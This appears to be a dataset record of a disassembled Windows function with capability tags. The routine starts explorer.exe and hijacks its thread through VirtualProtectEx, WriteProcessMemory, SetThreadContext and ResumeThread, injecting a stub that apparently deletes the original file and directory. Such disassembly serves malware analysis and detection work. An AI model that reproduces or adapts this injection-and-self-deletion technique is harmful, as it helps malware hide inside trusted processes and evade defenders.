Function at 0x406d73
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Resume thread

Disassembly:
mov eax, 0x464747
call fcn.0043540c
mov eax, 0x11c8
call fcn.00435c30
push ebx
push esi
xor ebx, ebx
push edi
lea eax, [ebp - 0xd]
mov edi, 0x46b5c0
mov esi, 0x46b5b8
push ebx
push eax
lea ecx, [ebp - 0x50]
mov dword [ebp - 0x50], edi
mov dword [ebp - 0x30], esi
call fcn.00402b02
lea eax, [ebp - 0x5c]
push 0x104
push eax
lea ecx, [ebp - 0x50]
mov dword [ebp - 4], ebx
call fcn.004024ea
mov ecx, dword [eax]
mov byte [ebp - 4], 1
mov byte [eax + 4], 1
call fcn.00402b77
mov eax, dword [eax]
push 0x104
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea ecx, [ebp - 0x5c]
mov byte [ebp - 4], bl
call fcn.004025fc
push ebx
lea eax, [ebp - 0x84]
push ebx
push eax
lea ecx, [ebp - 0x50]
call fcn.00402d46
sub esp, 0x28
lea eax, [ebp - 0x50]
mov dword [ebp - 0x24], esp
mov ecx, esp
push ebx
push eax
mov byte [ebp - 4], 2
mov dword [ecx], edi
mov dword [ecx + 0x20], esi
call fcn.00403c87
call fcn.00445435
add esp, 0x28
cmp al, bl
jne 0x406e51
cmp byte [ebp + 8], bl
je 0x40703c
sub esp, 0x28
lea eax, [ebp - 0x84]
mov dword [ebp - 0x24], esp
mov ecx, esp
push ebx
push eax
mov dword [ecx], edi
mov dword [ecx + 0x20], esi
call fcn.00403c87
call fcn.00445435
add esp, 0x28
cmp al, bl
je 0x40703c
push 6
mov esi, str.explorer.exe
pop ecx
lea edi, [ebp - 0x59c]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
push 0x7b
xor eax, eax
pop ecx
lea edi, [ebp - 0x582]
rep stosd dword es:[edi], eax
push 0x44
pop edx
stosw word es:[edi], ax
push 0x10
xor eax, eax
pop ecx
lea edi, [ebp - 0xc4]
mov dword [ebp - 0xc8], edx
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0xc8]
push eax
push ebx
push ebx
push edx
push ebx
push ebx
lea eax, [ebp - 0x59c]
push ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x406eb3
mov byte [ebp + 0xb], bl
jmp 0x407040
mov ecx, 0x30c
xor eax, eax
lea edi, [ebp - 0x11d0]
mov dword [ebp - 0x11d4], ebx
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edi, 0x46b5e8
mov dword [ebp - 0x9cc], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x9c8], eax
mov eax, dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dword [ebp - 0x9c4], eax
mov eax, dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
mov dword [ebp - 0x9c0], eax
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x9bc], eax
mov eax, dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0x9b8], eax
mov al, byte [ebp + 8]
mov byte [ebp - 0x9b0], al
mov eax, dword [ebp - 0x48]
cmp eax, ebx
jne 0x406f22
mov eax, edi
mov esi, 0x104
push esi
push eax
lea eax, [ebp - 0x9af]
push eax
call fcn.00436345
add esp, 0xc
cmp byte [ebp + 8], bl
je 0x406f56
cmp dword [ebp - 0x7c], ebx
je 0x406f45
mov edi, dword [ebp - 0x7c]
push esi
lea eax, [ebp - 0x7a7]
push edi
push eax
call fcn.00436345
add esp, 0xc
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push ebx
push ebx
lea eax, [ebp - 0x9d0]
push ebx
push eax
push dword [ebp - 0x20]
call esi
push eax
call esi
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
mov ecx, 0x407105
mov eax, 0x40706c
sub ecx, eax
cmp ecx, 0x800
ja 0x406eab
push ecx
push eax
lea eax, [ebp - 0x11d0]
push eax
call fcn.00436010
add esp, 0xc
lea eax, [ebp - 0x394]
mov dword [ebp - 0x394], 0x10003
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov eax, dword [ebp - 0x2d0]
mov edi, 0xc35
lea esi, [eax - 0xc35]
and esi, 0xffffffe0
mov dword [ebp - 0x11d4], esi
lea eax, [esi - 4]
mov dword [ebp - 0x2d0], eax
lea eax, [esi + 4]
mov dword [ebp - 0x2dc], eax
lea eax, [ebp - 0x28]
push eax
push 0x40
push edi
push esi
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push ebx
lea eax, [ebp - 0x11d4]
push edi
push eax
push esi
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push edi
push esi
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
lea eax, [ebp - 0x394]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push dword [ebp - 0x1c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x20]
call esi
mov byte [ebp + 0xb], 1
lea ecx, [ebp - 0x84]
mov byte [ebp - 4], bl
call fcn.00402079
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x50]
call fcn.00402079
mov ecx, dword [ebp - 0xc]
mov al, byte [ebp + 0xb]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret